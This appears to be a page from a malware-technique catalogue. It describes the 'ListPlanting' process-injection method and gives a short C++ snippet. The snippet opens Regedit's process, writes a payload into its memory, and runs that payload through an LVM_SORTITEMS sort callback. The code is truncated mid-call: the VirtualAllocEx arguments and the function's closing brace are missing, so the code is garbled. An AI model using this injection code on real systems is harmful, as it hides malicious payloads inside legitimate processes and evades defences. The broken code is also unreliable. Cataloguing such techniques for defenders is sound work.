(C++) Listplanting by Unprotect

Created the Tuesday 06 October 2020. Updated 2 years, 1 month ago.


The following code uses the registry editor and LVM_SORTITEMS to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn’t invoked at all.


            VOID listplanting(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          lvm;
    LPVOID        cs;
    SIZE_T        wr;
    // 1. get the window handle
    lvm = FindWindow(L"RegEdit_RegEdit", NULL);
    lvm = FindWindowEx(lvm, 0, L"SysListView32", 0);
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(lvm, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    // 4. Trigger payload
    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);
    // 5. Free memory and close process handle
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
